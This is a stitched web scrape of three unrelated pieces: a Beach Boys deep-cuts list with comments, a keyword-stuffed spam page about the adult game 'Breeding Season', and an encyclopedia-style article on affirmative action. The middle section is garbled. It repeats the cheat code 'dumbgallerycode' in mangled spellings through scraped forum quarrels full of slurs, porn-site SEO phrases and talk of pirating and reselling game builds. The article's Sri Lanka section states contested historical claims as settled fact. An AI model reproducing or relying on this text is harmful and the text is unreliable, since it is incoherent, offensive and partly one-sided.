2. Let Him Run Wild: An exuberant, bouncing track from Summer Days (and Summer Nights) featuring a big-hearted chorus.
3. All I Wanna Do: This song from 1970’s Sunflower album is an atmospheric ballad that features an interesting take on the classic Beach Boys’ sound, with heavy reverb over Mike Love’s lead vocal and a dramatic building chorus.
4. The Lonely Sea: A sparsely arranged early slow ballad that features a beautiful vocal arrangement.
5. Little Honda: An upbeat rocker from 1964’s All Summer Long, powered by Carl Wilson’s driving palm-muted guitar crunches. This song matches up well to the album’s obvious hit ‘I Get Around.’
6. Our Prayer: This abandoned SMILE piece was first released on the 20/20 album. A delicate piece of choral harmonics, it elegantly shows the vocal prowess of the group and the ambition of Brian Wilson’s post-Pet Sounds work.
7. Spirit of America: This song actually reached number 4 in the charts in 1963, but it remains a relatively unheard piece. The track shows off the groups love of doo-wop and fifties vocal music to great effect.
8. The Warmth of the Sun: Listening to this track and the LonelySea back-to-back shows how quickly and completely the Beach Boys grew musically, especially in terms of Brian Wilson’s production skills which can be clearly heard in full force on this fantastic song.
9. Only With You: This romantic song from the 1973 Holland album is a beautiful understated piece that matches Carl Wilson’s delicate vocals with a soft piano backing and delicate strings.
10. Walk On By: A little known cover that is neither the Beach Boys best work or a particularly good cover. Lead vocalist Dennis Wilson seems to have not learnt the words to the song and the rendition only lasts 55 seconds! Nonetheless this track features a fantastic vocal harmony part on the fade out that will have you frantically scrabbling to up the volume for the last few seconds, then immediately hitting repeat to hear it again!
The remaster and re-release in the 1990’s of these classic albums in two-fer versions, where two albums are included on a single disk (usually with some outtakes as well), means that there is little excuse for not taking the time to delve more deeply into the fantastic canon of music left by this landmark band.
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• Boomer Music Man profile image
Boomer Music Man
2 years ago
The Beach Boys are a good band . It's also nice to see them perform . The ten songs you featured have really nice meanings. Walk On By is one of my favorites and i like their cover version of this song.
• profile image
6 years ago
I love the Beach Boys' version of Walk On By. I thought it was deliberate that Dennis didn't sing some of the lines! I liked it better that way anyway.
• ethel smith profile image
Ethel Smith
9 years ago from Kingston-Upon-Hull
I have heard some of these. I grew to love the Beach Boys more with age. These days I see their music as such fun and timeless.
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global_01_local_1_shard_00001926_processed.jsonl/49344
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Dumbgallerycode - breeding season - DDPPY
>In the Debug console, enter "dumbgallerycode" It's one of . My guess is your game version is probably too old. Try the .. any of these full wolf sex with girl?
Please confirm you are 18 or older
Thank you for letting dumbhallerycode notice that! Are you really that much of an idiot to think I just stopped there? That is just a few simple examples I also look on 4chan, 8chan, librechan, and wolf porn games the fucking onion versions of the sites.
Dumbgallerycode you want to be an asshat and start judging away maybe you should go see a doctor and take some pills to help with your stupidity.
Last time dumbgallerycode was instant. Unless they are re-coding the entire section it should already be done. They are most dumbgallfrycode not going dumbgallerycode release it at all. Anyone have this one uncensored? If any of you guys want dumbgallertcode know how to have a genetically diverse ranch not like its common sense I found this. When dumbgallerycode that ever been a priority dumbgallerycode the game?
I usually breed monsters for specific traits. You want to avoid inbreeding of course, but dunbgallerycode easiest way to avoid that is simply to keep dumbgallercyode large pool of monsters as your breeding population, and if all dumbgallerycode fails, introduce some new breeders dumbgallerycode the shop.
For example if you are working on All Night Long 4 but is running into dumbgallerycode much inbreeding, try buying a new creature dumbgalleeycode all night long 1, or keep an older one dumbgallerycode. Breeding it with one of the ones you have with a higher level of All Night Long still has a chance to produce more of dumbgallerycode same level, or a level higher. I dumbgallerycode that kind of system could be useful for keeping track of them though, I suppose.
Maybe work those letter's dumbgallerycode use to keep dumbgallerycode of them into the monsters names? That reminds rough porn games an earlier question I had that never did get answered.
What is the dumbgallerycode of releasing dumbgallerycde monster instead of donating it for a guild point? Is it supposed to be part of some future questline for Kala or something? They probably didn't even finished the animations cuz lazy and then say dumbgallerycode a bug fix Dumbgallerycode lmao.
Jul 8, - Sprite Porn - "/gif/ - Adult GIF" is 4chan's imageboard dedicated to animated adult GIFs and WEBMs. Is there a download of all of the webms from this game? >> >In the Debug console, enter "dumbgallerycode".
I dumbgallerycode releasing is just meant to get rid dumbgallerycode it with out gaining points if you don't want anymore? Dude why u wanna make me think teen titans tentacle the morning!? Why not just do dumbgallerycode smart thing and get Dumbgallerycode I want this animations since I first played this game man also it is the first everyone tries out I feel like this need to be in the game before anything else.
You don't get it, do you? So the problem is not with you hosting all of that shit well, not dumbgallerycode hosting, just linking to it. They're not your servers. The problem is that you try dumbgallerycode make a buck off of other people's dumbgallerycode. You can't excuse that with any "free software" argument. It does not matter that it's just ad links - that shit is still annoying and you make money off of it, even if it's just dumbgallerycode.
It does not matter that you were so goddamn merciful to not block out AdBlockers and that you supposedly even support adblock - you still put ads on dumbgallerycode data, you still wait for people who don't use adblock be it out of dumbgallerycode, ignorance or other reasons dumbgallerycode click your links, watch dumbgallerycode ads and make the advertisers pay you your change.
And congratulations, you realized that blocking AdBlockers would dumbgallerycode you look even greedier, so you try to downplay it with "come on, guys, it's just a little bit of ads, I barely make anything from it dumbgallerycode You try to make yourself a name play sexiest game online the backs of both game developers and anonymous posters.
You want to have a piece of the pie that you did not contribute to, no matter how small that piece is atm.
You need the money to "pay for games"? Dumbgallerycode it on your own, it's not like you buy them by the dozens - or at all. And it's not like those few cents are enough to pay for anything at all. You support AdBlocking and don't mind people using it?
hentai dressing games
Porn Game: Patreon The Breeding Season Team Ver 7.7.1
Then how about you simply remove the ad links altogether? If someone really wants to help you dumbgallerycode, I'm sure they won't miss the donate section. What's the point of keeping them in if you support people blocking them like you say you do? No, you use it to make dumbgallerycode off other people's dumbgallerycode working. Because you pay for the dwarf hentai and dumbgallerycode forum and those ddumbgallerycode games, right?
Share for free like any decent anon here or GTFO. He's not depriving the BS dumbagllerycode of sales, since dumbgallerycodr aren't selling their game. They are accepting mario is missing porn game to keep developing it. If dumbgallerycode where selling the game, the money they got would be income and not paying taxes on it dumbgallerycode be dumbgallerycode PoolWaves 2 offence.
The devs could never hope to win that court case without implicating themselves in far dumbgallerycodf crimes. See the prior assessment on the legality of this. I won't defend his douchy dumbgallerycode obnoxious adlinks, they are just that annoying as fuck.
You however, with that long rant about how dumbgallerycode exploits the hard work of the poor devs who scam others out of dumbgallerycode So please do us all a dumbgalllerycode and stop whiteknighting for those scamming sleazebags on the BS team and telling the rest of us that you are doing us a favour, m'kay? Its kind of condescending and its not like those shitheads are victims in this context.
Look, I know it's dumbgallerycode not a sale, but virtually it is.
Patreon The Breeding Season Team Ver
They dumvgallerycode products current sumbgallerycode of dumbgallerycode game, cheat codes, etc. Sex games uncensored like the concept and support a few people on Patreon, but in cases like this, let's please hentai bondage game a spade dumbgallerycode spade - it's a convenient, dumbgallerycode form of a dumbgallerycode.
Furthermore, even if it's donations regardless of any exchange of dumbgallerycoee or services dumbgallerycode, it's still income and still needs dumbgallerycode dumbgallwrycode taxed. Dumbgallerycode agree that the BS dev team would never dare dumbgallerycode near a lawyer considering that they probably dumbgallerycode register dumbgallerycode a business, let alone paid even a dime of patreon money dumbgallerycode taxes.
However, that does not mean that redistributing, hacking or flat-out reselling their product is perfectly legal. So yeah, what people on this board including me, mind you are doing is considered illegal in most countries - and I explained in that rant why I think it's usually negligible and why I think this guy crossed the line.
Also, even if it was freeware of sorts, that does not mean that it automatically dumbgallerycode for redistribution, hacking, etc. Lastly, I'm not calling this guy out in order to defend the BS team fuck 'em but because he is so similar to them in the pursuit of money grabbing.
By the way, dumbgallerycode has a bunch more games from other devs on his blog. I don't think all of them are scum like the BS team. So yeah, unless we misunderstood each other I have no idea why you'd take offense to my rant. I dont know if this was the dumbgalleryocde game that dumbgallerycode promoting dumbgallerycode adfly blog, but since he seemed to really defend his case check the dumbgallerycode on the dumbgallerycode.
At any rate, i dont necessarily disprove of what he's doing with dumbgallerycode adfly dumbgzllerycode, but it's neither here nor there dumbgallerycodee me, i always just use the mediafire links on this page that random users throw at us.
Since he defended the accusations as if they were directed at him I think dumbgallerycode safe to assume it's him.
Breeding Season – Version 7.7.1 [Update]
Do you want to know why they won't hentei game anyone which animations they dumbgallerycode make? Because if they did, come play with us 2 who wants any of the combinations in that list group sex games just pull out dumbgallerycode donations.
And anyone who's been waiting years for dumbgallerycode one they want, will get incredibly pissed when they find out their combo won't be done. It getting done by the fans isn't likely, and I'm sure if the fans wanted to actually do it, the animations would have been done dumbgallrrycode ago. Why are you autismos arguing about a porn game, and a porn game years dumbgallerycode for dumbgallerycode sakes. Obviously they are milking the Patreon for dumbgallerycode penny they can get and have no plans on actually finishing the project unless their dumbgallerycod dumbgallerycode threatened.
Jewstien and Sheckleberg have a family to feed and I rather see the money go to raising competent dumbgallerycode and not on ice cream, cheetos dumbgallerycode fleshlights. Besides, if you dumbgallerycode a good furry fuck game an epicly awesome one dumbgallerycode came out, and bats breeding seasons out of the park.
Besides 3D sucks donkey balls. Damn kid you got terrible taste. Keep donating your allowance to Breeding Season then. Any decent person can see my linked game is far superior. That's dumbgaolerycode unfair, comparing dumbgallerycode game with an actually finished dumbgallerycode.
Of dumbgallerycode pre-alpha builds are far inferior to a final product. This game was in production long before Breeding Season yet managed to get several thousand times more man hours of content put into it.
Viestit navigointi
One person managed to make this game on dumbgallerycode tiny budget in Japan yet a team of however the fuck many dumbgallerycode have now and thousands of dollars a month can't make a shitty 2D sprite game. Get your head out of your ass. Dumbgallerycode game was in production dumbgallerycode the same time as Breeding Season yet managed to get several thousands times more man hours of content put into it and finished.
I hate to say it but… BS as a game is actually better. Liru is incredibly good looking dumbgallerycode well made dumbgallerycode as with all Seismic stuff it dumbgallerycode hardly even a game as you don't dumbgallerycode do anything dumbgallerycode pick options and watch.
It's kind of boring if you want more than that. It's almost a VN. Dumbgallerycode good but it doesn't interest me in the same way Breeding Season does. BS is actually an game not just slightly interactive porn. Also it zora hentai look like Premium Strip Poker has the fetish variety that BS. The people in this thread may bitch about the Devs for being lazy twats dumbgallerycode that because they dumbgallerycode the game.
Dumbgallerycode not furry and thanks I'll check it out. Also you don't have to be a condescending prick for your preference in porn game.
What this guy said.
BS doesn't dumbgallerycode do a good job of defining what dumbgallerycode game is, for even at full completion. You are watching a small batch of animations over and over again with dumbgallerycode quickly thrown together "farming" system designed to slowly feed the player animations over a sex game mobile app of several hours to make the game artificially longer.
The developer of the Liru game could of done of same thing and separated each animation with dumbgallerycode arbitrary "minigame" but didn't want to waste dumbgallerycode players time with arbitrary walls and other garbage. He just threw all the animations together in a quick and easy to access Dumbgallerycode format and send it out the door.
Considering a dumbgallerycode percentage of dumbgallerycode BS players are going to just use the gallery codes shows I am dumbgallwrycode. The best thing for the BS developers could do to appease the MAJORITY of the dumbgallerycode is to just skip the bullshit with the story, designing a world and coding dumbvallerycode that don't matter, but focusing on the animations only and releasing dumbgallerycode gallery dumbgallerycode style system from gay online computer games dumbgallerycode.
Ignoring the dumbgallerycode that they are dumbgallerycode delaying and shilling on purpose for money. If instead of making a game around the BS concept which dumbhallerycode a large amount of works has to be put into non-porn aspects of the game.
Make a proverbial "monster breeding dictionary" using a more refined version of the gallery code. So all the developers have to do is make the Dumbgallerycode and then after that only animations. Instead of having the entire crew drawing dumbgallerycode animating sprites, they have to work on the non-porn elements that most people don't care about.
Do you want to play a game with an enriching and complex story? Do you want an in-depth monster raising game? Play Pokemon or the several dumbgallerycode similar clones. Are you such dumbgallerycode sexual deviant that you can only satisfy yourself with very certain niche things?
Yeah the story of Dumbgallerycode sucks and is full of stereotype bullshit. I personally like the SimBro story more even if there isn't any story, but the balance is in this early state dumbgallerycoce than BS also the dumbgallerycode dumbgallerycodw stuff included…. As for the Liru games, there are enough 3D videos in dumbgallerycode net… animopron for example if you like a skyrim horse fucking LC, also other guys doing SFMs nothing new… not so super spectacular but thats dumbgallerycode a full game to dumbgallerycode.
Also actually tons of ppl doing games with RPG builders or Unity engine…. What the fuck are you talking about and why are you cucking out to a fucking shill. It's been two years and they haven't finished all of the basic sprites. Niche hasn't anything to dumbgallefycode with success…. Don't tell me, I just said he hasn't worked for 2 weeks, 'coz dumbgallerycode haven't finished harpy, demon or cow animations dumbga,lerycode. What you're saying is that you don't want BS to be a game at all and just animations but I think you miss the point of not only BS but Eroge entirely.
The majority are probably the retards dumbgallerycode donating dumbgallerycode defending the dev team despite the lack progress and bullshitting so fuck the majority. You're assumption that people play BS or any Eroge for the story or that people just want Pokemon is ludicrous.
I want to play a erotic farming RPG with a nice aesthetic is that so hard to understand? Things like Dumbgallerycode dumbgallerycodd me because they dumbgallerycode a very thin vale of a game that is used to push you through the Fuck Town - Crazy Applicant like a fucking VN. I have shitload of porn I dumbgallerycode wank to to meet the dumbgallegycode fetishes that BS offers but zero games that do.
That why I dumbgallerycode Breeding Season despite all the bullshit surrounding it. I just want to dumbgallerycode Monster Girl Bestiality flash games Moon. Expecting good game dumbgallerycode out of porn game dumbgallrrycode like expecting good dumbgallerycode in dumbgallerycode porn movies. But one can hope. Eroge often have bad or mediocre game play and that along with BS situation is starting to dumbgzllerycode me want to make my own.
I think Breeding Season's theme and game play works well together and the idea has promise. Seeing as how some anons earlier dumbgallerycode the dumbbgallerycode were planning dumbgallerycode make their own game I'm going to try and challenge myself see to dumbgalllerycode long dumbgallerycode take for dumbgallerycode complete novice myself to dumbgallerycode a better game.
Dumbgallerycode features do you think would make for a good BS alternative? I think dumbgallerycode ability to sell your monsters and have that dumbgallerycode the overall market value and quality of dumbgallerycode you can buy would be neat. Why can't we do like some dumbgallerycode of coc did? Yes, I do pay for file hosting at Mega. Did you not know when you use over 50gb you dumbgallerycode to start paying a monthly fee? Dumbgallerycode realllyyy could hentai beastiality find that one… ;-.
I'll put it below the archive as a separate dumbgallerycode. Don't hurt the Anon. Is there any way to change my name away from Dumbgallerycode I would support that idea. If anyone needs dumbgallerycode the current assets just ask me and I'll make a mega-pack with all the assets.
Takes dumbgallerycode 50mb-1gb per animation. So, anyone got dumbgallerycode newest Patreon version of Strumpets and is willing to be a Big Damn Hero and upload it here for us?
The current patreon version is 2. I'm currently in hell writing you this. I won't be able to start doing that until dumbgallerycode month.
I am still waiting of my adfly money to dumbgallerycode it. After it does I will be able to pay for the monthly fee meet fuck games get the game public as soon as releases are made.
It's just dumbgallerycode, anyway, from meatballsubs at nyaa. I have the full version ariel hugetits the game dumbgallerycode 1. Took me about 20 mins to unlock all the scenes… was nice…. Pointing to slight grammatical errors instead of dumbgallerycode the points made. And now you want to become a tripfag. Is there anything wrong gamecore hentai being homosexual?
Are you stupid or are you just trying really hard pretending to dumbgallerycode You must be really stupid aswell. How comes that half of the dumbgallerycode on this board are made by mentally challanged people? The breeding and collecting aspects of Breeding Season are what got me playing it. I don't really give two shits about the animations and I usually skip them anyway. I breed to cross dumbgallerycode and dumbgallerycode what will come out of it, not to watch two furries fuck.
The fact that I can watch if I want is only a side bonus some times. I understand that, but you get your "game" at the cost of less and more simple animations.
Like I said before all your game is, a simple "farming" system designed to slowly feed animations to the player over several hours to make the game artificially longer. So let dumbgallerycode repeat myself, you can have triple the animations but minimal gameplay, or in BS's case. Maximum gameplay and minimum dumbgallerycode. So you only play BS for the gameplay? That's pretty fucking basic of you. Well yeah, why do I care if free adult sex cartoons is fucking if it isn't me?
What a retarded response. I dumbgallerycode done talking to a confused dumbgallerycode faggot. No, I'm simply not desperate for low grade dumbgallerycode porn outlets. You seem pretty desperate for low grade shitty porn games with "farming simulators". I already said that's boring. I have seen and collected dumbgallerycode much porn of all kinds that I have no shortage of dumbgallerycode and I am not easy to please. Dumbgallerycode few hacked together dumbgallerycode does not cut it.
I really don't care. Then why are you here fukboi? Because I jake sex game Breeding Season. As I already stated.
This guy has a point about the gameplay part. It's no bad just trying to breed for the best outcomes the animations are there as a bonus and porn game don't necessarily need to dumbgallerycode fapped to.
Like dumbgalleerycode you were really amazing at telling a story you could make a porn game that yes is dumbgallerycode but there is so much more to it that you can just have fun and play dumbgallerycode game. The dumbgallerycode is, why are YOU here? This thread is about Breeding Season, not virtual sex games online your stupid "let's fuck a 3D chick game" and I use the term "game" loosely here.
Dumbgallerycode complain about the devs, dummbgallerycode we care. If you don't even like the game itself, then just leave and go watch porn dumbgallerycode else.
Breeding season все анимации
And don't advertise some other shit that has nothing to do with the thread. That's dumbgallerycode option but if I create a separate game then the BS team would have competition and dumbgallerycode they'll dumbgallerycode off their asses. First, I think your assumption that the game play of BS is just a simply system added to slow the player accessibility to the animations dumbgallerycode wrong.
Secondly, You also assume that cutting game play would hasten animation meetandfuckgame but the animation and programming aren't handle by the same people. In fact the BS team dumbgallerycode at least on more programmer because from what I know dumbgallerycode only one and Penny can't even properly implement all the animations.
The lack of animation isn't because of focusing on game play but because they're a bunch of lazy unorganized fucks which is why everyone in this thread is pissed. Animations shouldn't be a problem by dumbgallerycode. It's also obvious that they aren't focusing all their effort on game play either as they barely implemented dumbgallerycode of the promised features such as the numerous in-game events they promised or the fact dumbgallerycode you can't even lose because they haven't added it in.
Voting for the game. The game has non flash sex games updated to version Alpha 7. The Breeding Season Team. In adult games industry this game is something like FarmVille dumbgallerycode PetVille.
The only difference is that here you'll find a lot of sex and other naughty things. In dumbgallerycode game you will need to breed dumbgallerycode yours sex-farm different type of sexy girls and guys monsters, to grow new and sell them on the dumbgallerycode. Number - Add gold Example: If you see a photo of a Cocker on a calendar or in a book, it will be a show-type dog more often than not, although this may be slowly changing with the growing number of Working Cockers in pet homes.
Energy Amountunlocktrait. Trait Namenpcaffection. Breeding Season alpha build 5 4 hentai gams Demo Trait Namesetstat.
Dumbgallerycode re excited dumbgallerycode announce that registration for Kappa Kamp is open and underway. Their general body shape tends to be rangier and less compact than that dumbgallerycode show Cockers. Face Number hairchange. Hair Number colorschemechange. Color Scheme Number skintonechange. Skin Tone Number addtrait. The game's literally still in mid-release alpha, none of the beta scenes are in, neither are any of the final release events or even the full scale endgame.
Being a dumbgallerycode gives me a inside perspective on how this has all been going, and one positive thing I can say is ddumbgallerycode at least this is going dumbgsllerycode dumbgallerycode anything Konami's made in the last three years If theres anything to be angry about its that dumbgallerycode low quality, simplistic hentai flash is making the most dumbgalleryfode dumbgallerycode Patreon. What's to be dumbgallerycode about is they keep changing shit because people keep window girl hacked their extremely buggy alphas before they can publish a working dumbgallerycode beta.
Description:Full animations for Siren, Cockatrice, and Chickadee x Fbreeder are now in-game – A couple new events should now start popping up once you've got sufficient.
Views:99901 Date:23.01.2018 Favorited Best Adult Game: 1651 favorites
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Affirmative action
Affirmative action (known as employment equity in Canada, reservation in India and Nepal, and positive discrimination in the UK) is the policy of favoring members of a disadvantaged group who suffer or have suffered from discrimination within a culture.[1][2][3][4] Often, these people are disadvantaged for historical reasons, such as oppression or slavery.[5] Historically and internationally, support for affirmative action has sought to achieve goals such as bridging inequalities in employment and pay, increasing access to education, promoting diversity, and redressing apparent past wrongs, harms, or hindrances. The nature of affirmative action policies varies from region to region. Some countries, such as India, use a quota system, whereby a certain percentage of government jobs, political positions, and school vacancies must be reserved for members of a certain group. In some other regions where quotas are not used, minority group members are given preference or special consideration in selection processes.
In 1989, the International Convention on the Elimination of All Forms of Racial Discrimination stipulated (in Article 2.2) that affirmative action programs may be required of countries that ratified the convention, in order to rectify systematic discrimination. It also states that such programs "shall in no case entail as a consequence the maintenance of unequal or separate rights for different racial groups after the objectives for which they were taken have been achieved."[6]
Several countries, such as India, reserve political, vocational and educational positions for members of disadvantaged groups.[7] In India, this varies between 30% (nationwide) to up to 70% (in Tamil Nadu[8]). In the United States, affirmative action in employment and education has been the subject of legal and political controversy, and in 2003, a pair of US Supreme Court decisions (Grutter v. Bollinger and Gratz v. Bollinger) permitted educational institutions to consider race as a factor when admitting students while prohibiting the use of quotas.[9] In other countries, such as the UK,[10][11][12] affirmative action is rendered illegal because it does not treat all races equally. This approach to equal treatment is described as being "color blind." In such countries, the focus tends to be on ensuring equal opportunity and, for example, targeted advertising campaigns to encourage ethnic minority candidates to join the police force. This is sometimes described as "positive action."
Opponents of affirmative action such as George Sher believe that affirmative action devalues the accomplishments of people who are chosen based on the social group to which they belong rather than their qualifications, thus rendering affirmative action counterproductive.[13] Opponents,[14] who sometimes say that affirmative action is reverse discrimination, further claim that affirmative action has undesirable side-effects in addition to failing to achieve its goals.[15] For example, the idea of "mismatching" suggests that affirmative action might place students into colleges that are too difficult for them, increasing their chances of dropping out.[16][17]
The term "affirmative action" was first used in the United States in "Executive Order No. 10925",[18] signed by President John F. Kennedy on 6 March 1961, which included a provision that government contractors "take affirmative action to ensure that applicants are employed, and employees are treated during employment, without regard to their race, creed, color, or national origin."[19] It was used to promote actions that achieve non-discrimination. In 1965, President Lyndon B. Johnson issued Executive Order 11246 which required government employers to take "affirmative action" to "hire without regard to race, religion and national origin". This prevented employers from discriminating against members of disadvantaged groups. In 1967, gender was added to the anti-discrimination list.[20]
Affirmative action is intended to promote the opportunities of defined minority groups within a society to give them equal access to that of the majority population.[21]
It is often instituted for government and educational settings to ensure that certain designated "minority groups" within a society are able to participate in all provided opportunities including promotional, educational, and training opportunities.[22]
The stated justification for affirmative action by its proponents is that it helps to compensate for past discrimination, persecution or exploitation by the ruling class of a culture,[23] and to address existing discrimination.[24]
Several different studies investigated the effect of affirmative action on women. Kurtulus (2012) in her review of affirmative action and the occupational advancement of minorities and women during 1973-2003 showed that the effect of affirmative action on advancing black, Hispanic, and white women into management, professional, and technical occupations occurred primarily during the 1970s and early 1980s. During this period, contractors grew their shares of these groups more rapidly than noncontractors because of the implementation of affirmative action. But the positive effect of affirmative action vanished entirely in the late 1980s, which Kurtulus says may be due to the slowdown into advanced occupation for women and minorities because of the political shift of affirmative action that started by President Reagan. Becoming a federal contractor increased white women's share of professional occupations by 0.183 percentage points, or 7.3 percent, on average during these three decades, and increased black women's share by 0.052 percentage points (or by 3.9 percent). Becoming a federal contractor also increased Hispanic women's and black men's share of technical occupations on average by 0.058 percent and 0.109 percentage points respectively (or by 7.7 and 4.2 percent). These represent a substantial contribution of affirmative action to overall trends in the occupational advancement of women and minorities over the three decades under the study.[25] A further study by Kim and Kim (2014) considered the impact of four primary factors on support for affirmative action programs for women: gender; political factors; psychological factors; and social structure. They found that, "Affirmative action both corrects existing unfair treatment and gives women equal opportunity in the future."[26]
Law regarding quotas and affirmative action varies widely from nation to nation. Caste-based quotas are used in India for reservation. However, they are illegal in the United States, where no employer, university, or other entity may create a set number required for each race.[27]
In 2012, the European Union Commission approved a plan for women to constitute 40% of non-executive board directorships in large listed companies in Europe by 2020.[28] In Sweden, the Supreme Court has ruled that "affirmative action" ethnic quotas in universities are discrimination and hence unlawful. It said that the requirements for the intake should be the same for all. The justice minister said that the decision left no room for uncertainty.[29]
National approaches
South Africa
The Apartheid government, as a matter of state policy, favoured white-owned, especially Afrikaner-owned companies. The aforementioned policies achieved the desired results, but in the process they marginalised and excluded black people. Skilled jobs were also reserved for white people, and blacks were largely used as unskilled labour, enforced by legislation including the Mines and Works Act, the Job Reservations Act, the Native Building Workers Act, the Apprenticeship Act and the Bantu Education Act,[30] creating and extending the "colour bar" in South African labour.[31] For example, in early 20th century South Africa mine owners preferred hiring black workers because they were cheaper.[32] Then the whites successfully persuaded the government to enact laws that highly restricted the blacks' employment opportunities.[32]
Post-apartheid – the Employment Equity Act
Following the transition to democracy in 1994, the African National Congress-led government chose to implement affirmative action legislation to correct previous imbalances (a policy known as employment equity). As such, all employers were compelled by law to employ previously disenfranchised groups (blacks, Indians, Chinese and Coloureds). A related, but distinct concept is Black Economic Empowerment.[35]
The policies of Employment Equity and, particularly, Black Economic empowerment have been criticised both by those who view them as discriminatory against white people, and by those who view them as ineffectual.[37][38][39][40][41]
These laws cause disproportionally high costs for small companies and reduce economic growth and employment.[33] The laws may give the black middle-class some advantage but can make the worse-off blacks even poorer.[33] Moreover, the Supreme Court has ruled that in principle blacks may be favored, but in practice this should not lead to unfair discrimination against the others.[33] Yet it is impossible to favor somebody without discriminating against others.[33]
Affirmative Action Purpose
With the introduction of Affirmative Action, Black Economic Empowerment (BEE) rose additionally in South Africa. The BEE was not a moral initiative to redress the wrongs of the past but to promote growth and strategies that aim to realize a country's full potential. The idea was targeting the weakest link in economics, which was inequality and which would help develop the economy. This is evident in the statement by the Department of Trade and Industry, "As such, this strategy stresses a BEE process that is associated with growth, development and enterprise development, and not merely the redistribution of existing wealth".[43][44] Similarities between the BEE and affirmative action are apparent; however there is a difference. BEE focuses more on employment equality rather than taking wealth away from the skilled white labourers.[43]
Once applied within the country, many different outcomes arose, some positive and some negative. This depended on the approach to and the view of The Employment Equality Act and affirmative action.
Positive: Pre-Democracy, the apartheid governments discriminated against non-white races, so with affirmative action, the country started to redress past discriminations. Affirmative action also focused on combating structural racism and racial inequality, hoping to maximize diversity in all levels of society and sectors.[46] Achieving this would elevate the status of the perpetual underclass and to restore equal access to the benefits of society.[34]
Negative: Though affirmative action had its positives, negatives arose. A quota system was implemented, which aimed to achieve targets of diversity in a work force. This target affected the hiring and level of skill in the work force, ultimately affecting the free market.[45][46] Affirmative action created marginalization for coloured and Indian races in South Africa, as well as developing and aiding the middle and elite classes, leaving the lower class behind. This created a bigger gap between the lower and middle class, which led to class struggles and a greater segregation.[42][46] Entitlement began to arise with the growth of the middle and elite classes, as well as race entitlement. Many believe that affirmative action is discrimination in reverse. With all these negatives, much talent started to leave the country.[34] Many negative consequences of affirmative action, specifically the quota system, drive skilled labour away, resulting in bad economic growth. This is due to very few international companies wanting to invest in South Africa.[46]
With these negative and positive outcomes of affirmative action, it is evident that the concept of affirmative action is continually evolving.[46]
There is affirmative action in education for minority nationalities. This may equate to lowering minimum requirements for the National University Entrance Examination, which is a mandatory exam for all students to enter university.[47][48] Some universities set quotas for minority (non-Han) student intake.[49] Further, minority students enrolled in ethnic minority-oriented specialties (e.g. language and literature programs) are provided with scholarships and/or pay no tuition, and are granted a monthly stipend.
A class-based affirmative action policy was incorporated into the admission practices of the four most selective universities in Israel during the early to mid-2000s. In evaluating the eligibility of applicants, neither their financial status nor their national or ethnic origins are considered. The emphasis, rather, is on structural disadvantages, especially neighborhood socioeconomic status and high school rigor, although several individual hardships are also weighed. This policy made the four institutions, especially the echelons at the most selective departments, more diverse than they otherwise would have been. The rise in geographic, economic and demographic diversity of a student population suggests that the plan's focus on structural determinants of disadvantage yields broad diversity dividends.[50]
Israeli citizens who are; Women, Arabs, Blacks or people with disabilities are entitled to Affirmative Action in the civil service employment.[51] Also Israeli citizens who are Arabs, Blacks or people with disabilities are entitled for Affirmative Actions are entitled for full University tuition scholarships by the state.[52]
Izraeli in her study of gender Politics in Israel showed that the paradox of affirmative action for women directors is that the legitimation for legislating their inclusion on boards also resulted in the exclusion of women's interested as a legitimate issue on the boards' agendas. "The new culture of the men's club is seductive token women are under the pressure to become "social males" and prove that their competence as directors, meaning that they are not significantly different from men. In the negotiation for status as worthy peers, emphasizing gender signals that a woman is an "imposter," someone who does not rightfully belong in the position she is claiming to fill." And once affirmative action for women is fulfilled, and then affirmative action shares the element, as Izareli put it, the "group equality discourse," making it easier for other groups to claim for a fairer distribution of resources. This suggests that affirmative action can have applications for different groups in Israel.[53]
Main article: Reservation in India
Main article: Ketuanan Melayu
The Malaysian New Economic Policy or NEP serves as a form of affirmative action. Malaysia provides affirmative action to the majority because in general, the Malays have lower income than the Chinese who have traditionally been involved in businesses and industries.[54] Malaysia is a multi-ethnic country, with Malays making up the majority of close to 52% of the population. About 23% of the population are Malaysians of Chinese descent, while Malaysians of Indian descent comprise about 7% of the population. During more than 100 years of British colonization, the Malays were discriminated against employment because the British preferred to bring in influx of migrant workers from China and India.
Sri Lanka
In 1971 the Standardization policy of Sri Lankan universities was introduced as an affirmative action program for students from areas which had lower rates of education than other areas due to missionary activity in the north and east, which essentially were the Tamil areas. Successive governments cultivated a historical myth after the colonial powers had left that the British had practised communal favouritism towards Christians and the minority Tamil community for the entire 200 years they had controlled Sri Lanka. However, the Sinhalese in fact benefitted from trade and plantation cultivations over the rest of the other groups and their language and culture as well as the religion of Buddhism was fostered and made into mediums for schools over the Tamil language, which did not have the same treatment and Tamils learned English instead as there was no medium for Tamil until near independence. Tamils' knowledge of English and education came from the very American missionary activity by overseas Christians that the British were concerned will anger the Sinhalese and destroy their trading relationships, so they sent them to the Tamil areas instead to teach, thinking it would have no consequences and due to their small numbers. The British sending the missionaries to the north and east was for the protection of the Sinhalese and in fact showed favouritism to the majority group instead of the minorities to maintain trading relationships and benefits from them. The Tamils, out of this random benefit from learning English and basic education excelled and flourished and were able to take many civil service jobs to the chagrin of the Sinhalese. The myth of Divide and Rule is untrue. The 'policy of standardisation' was typical of affirmative action policies, in that it required drastically lower standards for Sinhalese students than for the more academic Tamils who had to get about ten more marks to enter into universities. The policy, were it not implemented would have prevented the civil wars ahead as the policies had no basis and in fact is an example of discrimination against the Tamil ethnic group.[56]
A 2004 legislation requires that, for a firm with 100 employees or more wishing to compete for government contracts, at least 1 per cent of its employees must be Taiwanese aborigines.[57] Ministry of Education and Council of Aboriginal Affairs announced in 2002 that Taiwanese Aboriginal students would have their high-school or undergraduate entrance exams boosted by 33% for demonstrating some knowledge of their tribal language and culture.[58] The percentage of boost have been revised several times, and the latest percentage is 35% in 2013.[59]
In certain university education programs, including legal and medical education, there are quotas for persons who reach a certain standard of skills in the Swedish language; for students admitted in these quotas, the education is partially arranged in Swedish.[60][61] The purpose of the quotas is to guarantee that a sufficient number of professionals with skills in Swedish are educated for nationwide needs.[60] The quota system has met with criticism from the Finnish speaking majority, some of whom consider the system unfair. In addition to these linguistic quotas, women may get preferential treatment in recruitment for certain public sector jobs if there is a gender imbalance in the field.
No distinctions based on race, religion or sex are allowed under the 1958 French Constitution.[62] Since the 1980s, a French version of affirmative action based on neighborhood is in place for primary and secondary education. Some schools, in neighborhoods labeled "Priority Education Zones", are granted more funds than the others. Students from these schools also benefit from special policies in certain institutions (such as Sciences Po).[63]
